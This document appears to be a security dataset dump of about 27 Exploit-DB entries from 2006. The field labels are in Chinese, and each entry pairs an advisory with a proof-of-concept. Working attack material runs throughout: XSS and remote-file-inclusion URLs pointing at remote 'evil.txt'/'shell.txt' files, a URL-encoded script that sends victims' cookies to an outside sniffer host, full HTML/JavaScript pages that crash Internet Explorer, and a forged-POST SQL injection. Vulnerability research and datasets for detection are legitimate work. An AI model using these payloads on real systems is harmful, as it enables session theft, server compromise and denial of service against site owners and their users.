QLWD/code_shield huggingface dataset:
标题: YaPiG 0.9x - 'Thanks_comment.php' Cross-Site Scripting EDB-ID: 28428 CVE: 2006-4421 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/19709/info

Yapig is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. This may let an attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects version 0.95b; other versions may also be vulnerable.

http://www.example.com/[PATH]/template/default/thanks_comment.php?D_REFRESH_URL=[XSS] URL: https://www.exploit-db.com/exploits/28428
标题: BigACE 1.8.2 - 'admin.cmd.php' Remote File Inclusion EDB-ID: 28435 CVE: 2006-4423 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/19723/info
   
Bigace is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input. 
   
An attacker can exploit these issues to include arbitrary remote PHP code and execute it in the context of the webserver process. 
   
A successful exploit may lead to a compromise of the underlying system; other attacks are also possible.
   
Version 1.8.2 of Bigace is known to be vulnerable; previous versions may be affected as well.

http://www.example.com/[Bigace]/system/command/admin.cmd.php?GLOBALS=[Evil Script] URL: https://www.exploit-db.com/exploits/28435
标题: BigACE 1.8.2 - 'item_main.php' Remote File Inclusion EDB-ID: 28432 CVE: 2006-4423 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/19723/info

Bigace is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input. 

An attacker can exploit these issues to include arbitrary remote PHP code and execute it in the context of the webserver process. 

A successful exploit may lead to a compromise of the underlying system; other attacks are also possible.

Version 1.8.2 of Bigace is known to be vulnerable; previous versions may be affected as well.

http://www.example.com/[Bigace]/system/admin/include/item_main.php?GLOBALS=[Evil Script] URL: https://www.exploit-db.com/exploits/28432
标题: BigACE 1.8.2 - 'download.cmd.php' Remote File Inclusion EDB-ID: 28434 CVE: 2006-4423 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/19723/info
  
Bigace is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input. 
  
An attacker can exploit these issues to include arbitrary remote PHP code and execute it in the context of the webserver process. 
  
A successful exploit may lead to a compromise of the underlying system; other attacks are also possible.
  
Version 1.8.2 of Bigace is known to be vulnerable; previous versions may be affected as well.

http://www.example.com/[Bigace]/system/command/download.cmd.php?GLOBALS=[Evil Script] URL: https://www.exploit-db.com/exploits/28434
标题: Joomla! / Mambo Component Comprofiler 1.0 - 'class.php' Remote File Inclusion EDB-ID: 28437 CVE: 2006-4553 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/19725/info

The Mambo and Joomla com_comprofiler component is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and to gain access to the underlying system.

Version 1.0 RC2 is vulnerable to this issue; other versions may also be affected.

http://www.example.com/[path]/administrator/components/com_comprofiler/plugin.class.php?mosConfig_absolute_path=http://www.example.com/evil.txt? URL: https://www.exploit-db.com/exploits/28437
标题: Novell Identity Manager - Arbitrary Command Execution EDB-ID: 28427 CVE: 2006-4310 类型: LOCAL 平台: NOVELL 发布日期: 2006-08-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/19688/info

Novell Identity Manager is prone to an arbitrary command-execution vulnerability. 

A local attacker can exploit this issue to execute arbitrary commands with superuser privileges. Exploiting this issue allows attackers to completely compromise affected computers.

CMD="usermod -c $gecos" URL: https://www.exploit-db.com/exploits/28427
标题: Alstrasoft Video Share Enterprise 4.x - 'MyajaxPHP.php' Remote File Inclusion EDB-ID: 28436 CVE: 2006-4443 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/19724/info

AlstraSoft Video Share Enterprise is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

Video Share Enterprise versions prior to 4.4 are vulnerable.

http://www.example.com/[Script Path]/ajax/myajaxphp.php?config[BASE_DIR]=http://www.example.com/shell.txt? URL: https://www.exploit-db.com/exploits/28436
标题: BigACE 1.8.2 - 'upload_form.php' Remote File Inclusion EDB-ID: 28433 CVE: 2006-4423 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/19723/info
 
Bigace is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input. 
 
An attacker can exploit these issues to include arbitrary remote PHP code and execute it in the context of the webserver process. 
 
A successful exploit may lead to a compromise of the underlying system; other attacks are also possible.
 
Version 1.8.2 of Bigace is known to be vulnerable; previous versions may be affected as well.

http://www.example.com/[Bigace]/system/admin/include/upload_form.php?GLOBALS=[Evil Script] URL: https://www.exploit-db.com/exploits/28433
标题: Apache 1.3.35/2.0.58/2.2.2 - Arbitrary HTTP Request Headers Security EDB-ID: 28424 CVE: 2006-3918 类型: REMOTE 平台: LINUX 发布日期: 2006-08-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/19661/info

Apache HTTP server is prone to a security weakness related to HTTP request headers.

An attacker may exploit this issue to steal cookie-based authentication credentials and launch other attacks.

var req:LoadVars=new LoadVars();
req.addRequestHeader("Expect",
"<script>alert('gotcha!')</script>");
req.send("http://www.target.site/","_blank","GET"); URL: https://www.exploit-db.com/exploits/28424
标题: RedBlog 0.5 - 'index.php' Remote File Inclusion EDB-ID: 28423 CVE: 2006-4366 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/19658/info

RedBLoG is prone a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

This issue affects version 0.5; other versions may also be vulnerable.

http://www.example.com/[Path]/index.php?root_path==http://evil_scripts? URL: https://www.exploit-db.com/exploits/28423
标题: Jupiter CMS 1.1.5 - 'index.php' Remote File Inclusion EDB-ID: 28430 CVE: 2006-4428 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/19721/info

Jupiter CMS is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and to gain access to the underlying system.

Version 1.1.5 is vulnerable to this issue; other versions may also be affected.

This BID has been retired.

http://www.example.com/path/index.php?template=[Evil Code] URL: https://www.exploit-db.com/exploits/28430
标题: Jetbox CMS 2.1 - 'Search_function.php' Remote File Inclusion EDB-ID: 28431 CVE: 2006-4422 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/19722/info

Jetbox CMS is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

Jetbox CMS version 2.1 is reported vulnerable; other versions may also be affected.

This issue is undergoing further investigation to determine the validity of the vulnerability. This BID will be updated as more information becomes available.

http://www.example.com/path/includes/phpdig/libs/search_function.php?relative_script_path=[Evil Code] URL: https://www.exploit-db.com/exploits/28431
标题: MyBB 1.1.7 - Multiple HTML Injection Vulnerabilities EDB-ID: 28429 CVE: 2006-4449 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/19718/info

MyBB is prone to multiple HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content. 

Attacker-supplied HTML and script code would execute in the context of the affected website, potentially allowing an attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.

Version 1.1.7 is vulnerable; other versions may be affected.

&3c%73%63%72%69%70%74%3e%69%6d%67%20%3d%20%6e%65%77%20%49%6d%61%67%65%28%29%3b%20%69%6d%67%2e%73%72%63%20%3d%20%22%68%74%7
4%70%3a%2f%2f%77%77%77%2e%68%61%79%6c%61%7a%6c%61%72%2e%6f%72%67%2f%73%6e%69%66%66%65%72%2f%73%2e%70%68%70%3f%22%2b%64%6f%
63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3b%3c%2f%73%63%72%69%70%74%3e URL: https://www.exploit-db.com/exploits/28429
标题: DieselScripts Smart Traffic - 'index.php' Remote File Inclusion EDB-ID: 28419 CVE: 2006-4357 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/19630/info

Smart Traffic is prone a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/[Script Path]/clients/index.php?src=http://www.example.com URL: https://www.exploit-db.com/exploits/28419
标题: PHProjekt Content Management Module 0.6.1 - Multiple Remote File Inclusions EDB-ID: 28418 CVE: 2006-4609 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/19628/info

Multiple remote file-include vulnerabilities affect the Content Management module for PHProjekt because the application fails to properly sanitize user-supplied input before using it in a PHP 'include()' function call. 

An attacker may leverage these issues to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. 

These issues affect version 0.6.1; earlier versions may also be vulnerable.

http://www.example.com/[Path]/cm_lib.inc.php?path_pre=http://cmd.gif? 
http://www.example.com/[Path]/doc/br.edithelp.php?path_pre=http://cmd.gif? http://www.example.com/[Path]/doc/de.edithelp.php?path_pre=http://cmd.gif? http://www.example.com/[Path]/doc/ct.edithelp.php?path_pre=http://cmd.gif? 
http://www.example.com/[Path]/userrating.php?path_pre=http://cmd.gif? 
http://www.example.com/[Path]/listing.php?path_pre=http://cmd.gif? URL: https://www.exploit-db.com/exploits/28418
标题: DieselScripts DieselPay - 'index.php' Cross-Site Scripting EDB-ID: 28412 CVE: 2006-4358 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/19623/info

DieselPay is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/[Script Path]/index.php?read=[XSS] URL: https://www.exploit-db.com/exploits/28412
标题: Mambo Component EstateAgent 1.0.2 - MosConfig_absolute_path Remote File Inclusion EDB-ID: 28416 CVE: 2006-4322 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/19625/info

The Mambo EstateAgent component is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

This BID has been retired because this issue is not exploitable.

http://www.example.com/com_estateagent/estateagent.php?mosConfig_absolute_path=shell URL: https://www.exploit-db.com/exploits/28416
标题: Microsoft Windows Server 2000 - Multiple COM Object Instantiation Code Execution Vulnerabilities EDB-ID: 28420 CVE: 2006-4495 类型: DOS 平台: WINDOWS 发布日期: 2006-08-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/19636/info

Microsoft Windows 2000 is prone to multiple memory-corruption vulnerabilities that are related to the instantiation of COM objects. These issues may be remotely triggered through Internet Explorer.

The vulnerabilities arise because of the way Internet Explorer tries to instantiate certain COM objects as ActiveX controls. This may result in arbitrary code execution, but this has not been confirmed. The affected objects are not likely intended to be instantiated through Internet Explorer.

This BID may be related to the issues discussed in BID 17453 (Microsoft Internet Explorer COM Object Instantiation Code Execution Vulnerability). However, these issues affect a different set of COM objects that were not addressed in previous BIDs.

<!-- // Windows 2000 Multiple COM Object Instantiation Vulnerability // tested on Windows 2000 SP4 CN // http://www.xsec.org // nop (nop#xsec.org) --> <html> <head> <title>COM-tester</title> </head> </body> <script> var i =0; var clsid = new Array( // NO: 1 // CLSID: {3BC4F3A3-652A-11D1-B4D4-00C04FC2DB8D} // Info: Microsoft Index Server Catalog Administration Object // ProgID: Microsoft.ISCatAdm.1 // InprocServer32: C:\WINNT\system32\ciodm.dll "{3BC4F3A3-652A-11D1-B4D4-00C04FC2DB8D}", // NO: 2 // CLSID: {4682C82A-B2FF-11D0-95A8-00A0C92B77A9} // Info: MyInfo ASP Component// ProgID: MSWC.MyInfo.1 // InprocServer32: C:\WINNT\system32\inetsrv\MyInfo.dll "{4682C82A-B2FF-11D0-95A8-00A0C92B77A9}", // NO: 3 // CLSID: {8E71888A-423F-11D2-876E-00A0C9082467} // Info: RadioServer Class // ProgID: Mmedia.RadioServer.1 // InprocServer32: C:\WINNT\system32\msdxm.ocx "{8E71888A-423F-11D2-876E-00A0C9082467}", // NO: 4 media player? // CLSID: {606EF130-9852-11D3-97C6-0060084856D4} // Info: CdCreator Class// ProgID: Creator.CdCreator.1 // InprocServer32: C:\Program Files\Common Files\Adaptec Shared\CreatorAPI\creator.dll "{606EF130-9852-11D3-97C6-0060084856D4}", // NO: 5 media player? // CLSID: {F849164D-9863-11D3-97C6-0060084856D4} // Info: CdDevice Class// ProgID: Creator.CdDevice.1 // InprocServer32: C:\Program Files\Common Files\Adaptec Shared\CreatorAPI\creator.dll "{F849164D-9863-11D3-97C6-0060084856D4}", // END null ); while(clsid[i]) { var a = document.createElement("object"); window.status = "Testing Object " + clsid[i] + "..."; a.setAttribute("classid", "clsid:" + clsid[i]); i++; } window.status = "failed!"; </script> </body> </html> URL: https://www.exploit-db.com/exploits/28420
标题: cPanel 10.x - 'dohtaccess.html?dir' Cross-Site Scripting EDB-ID: 28413 CVE: 2006-4293 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/19624/info

cPanel is prone to multiple cross-site scripting vulnerabilities. These issues are due to a lack of proper sanitization of user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/frontend/x/htaccess/dohtaccess.html?dir=[code] URL: https://www.exploit-db.com/exploits/28413
标题: DieselScripts Diesel Paid Mail - 'Getad.php' Cross-Site Scripting EDB-ID: 28422 CVE: 2006-4362 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/19646/info

Paid Mail is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/[Script Path]/site/getad.php?refid=&email=default&ps=[XSS] URL: https://www.exploit-db.com/exploits/28422
标题: cPanel 10.x - 'showfile.html?File' Cross-Site Scripting EDB-ID: 28415 CVE: 2006-4293 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/19624/info
  
cPanel is prone to multiple cross-site scripting vulnerabilities. These issues are due to a lack of proper sanitization of user-supplied input. 
  
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.
  
http://www.example.com/frontend/x/files/showfile.html?dir=/&file=[code] URL: https://www.exploit-db.com/exploits/28415
标题: cPanel 10.x - 'editit.html?File' Cross-Site Scripting EDB-ID: 28414 CVE: 2006-4293 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/19624/info
 
cPanel is prone to multiple cross-site scripting vulnerabilities. These issues are due to a lack of proper sanitization of user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.
 
http://www.example.com/frontend/x/files/editit.html?dir=/&file=[code] URL: https://www.exploit-db.com/exploits/28414
标题: ToendaCMS 0.x/1.0.x - 'TCMS_Administer' Remote File Inclusion EDB-ID: 28417 CVE: 2006-4349 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/19626/info

ToendaCMS is prone a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

This issue affects ToendaCMS 1.0.3 and prior; other versions may also be affected.

Update: This BID is retired due to further analysis showing that this is not a vulnerability.

http://www.example.com/path/tcms_administer_site=SHELL URL: https://www.exploit-db.com/exploits/28417
标题: Microsoft Internet Explorer 6 - Multiple COM Object Color Property Denial of Service Vulnerabilities EDB-ID: 28421 CVE: 2006-4301 类型: DOS 平台: WINDOWS 发布日期: 2006-08-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/19640/info

Microsoft Internet Explorer is prone to multiple denial-of-service vulnerabilities that occur when instantiating COM objects. 

The vulnerabilities arise because of the way Internet Explorer tries to instantiate certain COM objects as ActiveX controls, resulting in denial-of-service conditions. Remote code execution may be possible, but this has not been confirmed.

This BID may be related to the issues described in BID 14511 (Microsoft Internet Explorer COM Object Instantiation Buffer Overflow Vulnerability) and BID 15061 Microsoft Internet Explorer COM Object Instantiation Variant Vulnerability). However, these issues affect a different set of COM objects that were not addressed in the previous BIDs.


<!--

// Internet Explorer Multiple COM Object Color Property DoS Vulnerability
// tested on Windows 2000 SP4/XP SP2

// http://www.xsec.org
// nop (nop#xsec.org)

-->
<html>
<head>
<title></title>
</head>
</body>
<script>
var i =0;
var Objects = new Array(

// CLSID: {3A04D93B-1EDD-4f3f-A375-A03EC19572C4}
// Info: MaskFilter
// ProgID: DXImageTransform.Microsoft.MaskFilter.1
// InprocServer32: C:\WINNT\system32\dxtmsft.dll
"DXImageTransform.Microsoft.MaskFilter.1",

// CLSID: {421516C1-3CF8-11D2-952A-00C04FA34F05}
// Info: Chroma
// ProgID: DXImageTransform.Microsoft.Chroma.1
// InprocServer32: C:\WINNT\system32\dxtmsft.dll
"DXImageTransform.Microsoft.Chroma.1",

// CLSID: {9F8E6421-3D9B-11D2-952A-00C04FA34F05}
// Info: Glow
// ProgID: DXImageTransform.Microsoft.Glow.1
// InprocServer32: C:\WINNT\system32\dxtmsft.dll
"DXImageTransform.Microsoft.Glow.1",

// CLSID: {ADC6CB86-424C-11D2-952A-00C04FA34F05}
// Info: DropShadow
// ProgID: DXImageTransform.Microsoft.DropShadow.1
// InprocServer32: C:\WINNT\system32\dxtmsft.dll
"DXImageTransform.Microsoft.DropShadow.1",

// CLSID: {E71B4063-3E59-11D2-952A-00C04FA34F05}
// Info: Shadow
// ProgID: DXImageTransform.Microsoft.Shadow.1
// InprocServer32: C:\WINNT\system32\dxtmsft.dll
"DXImageTransform.Microsoft.Shadow.1",

// CLSID: {8241F015-84D3-11d2-97E6-0000F803FF7A}
// Info: Shapes
// ProgID: DX3DTransform.Microsoft.Shapes.1
// InprocServer32: C:\WINNT\system32\dxtmsft3.dll
"DX3DTransform.Microsoft.Shapes.1",

null
);

var b = "AAAA";

while(b.length < 0x2000000)
{
b += b;
}

while(Objects[i])
{
var a = null;

window.status = "Create Object " + Objects[i] + "...";

try { a = new ActiveXObject(Objects[i]); } catch(e){}

if(a)
{
window.status = "Try Set " + Objects[i] + ".Color ...";
try { a.Color = b;} catch(e){}
}

i++;
}

window.status = "failed!";

</script>
</body>
</html> URL: https://www.exploit-db.com/exploits/28421
标题: XennoBB 1.0.x/2.2 - Icon_Topic SQL Injection EDB-ID: 28406 CVE: 2006-4279 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/19606/info

XennoBB is prone to an SQL-injection vulnerability that could allow an attacker to influence the structure or logic of SQL queries made by the application.

--------------------- EXPLOIT ---------------------

Submit a forged POST request to

topic_post.php?action=post&fid={forum ID here}

With the following as the POST data:

form_sent=1&form_user={username
here}&req_subject=Subject&req_message=Message&submit=1&icon_topic=[SQL]

Successful exploitation leads would lead to the SQL query in the
icon_topic
parameter being run. URL: https://www.exploit-db.com/exploits/28406
标题: Mambo Component Reporter 1.0 - 'Reporter.sql.php' Remote File Inclusion EDB-ID: 28396 CVE: 2006-4241 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/19553/info

Reporter (a Mambo component) is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and to gain access to the underlying system.

http://www.example.com/[mambo_path]/components/com_reporter/processor/reporter.sql.php?mosConfig_absolute_path= URL: https://www.exploit-db.com/exploits/28396